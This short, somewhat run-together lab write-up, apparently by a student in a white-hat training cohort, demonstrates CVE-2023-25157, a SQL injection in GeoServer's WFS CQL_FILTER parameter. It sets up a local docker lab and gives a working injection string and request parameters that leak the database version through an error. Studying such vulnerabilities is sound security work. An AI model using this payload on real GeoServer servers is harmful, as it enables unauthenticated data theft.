
Proof-of-concept exploit for CVE-2023-25157, a blind SQL injection vulnerability in GeoServer's WFS CQL_FILTER parameter, enabling unauthenticated data extraction.
White Hat 3rd Cohort [Class 30] Kim Jeong-woo
github link - https://github.com/custiya/geoserver-CVE-2023-25157
docker compose up -d command.http://your-ip:8080/geoserver.requests module.version() function returns the current version of PostgreSQL as a string.# 대상 URL
url = "http://localhost:8080/geoserver/ows"
# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
# 파라미터 설정
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": cql_filter
}
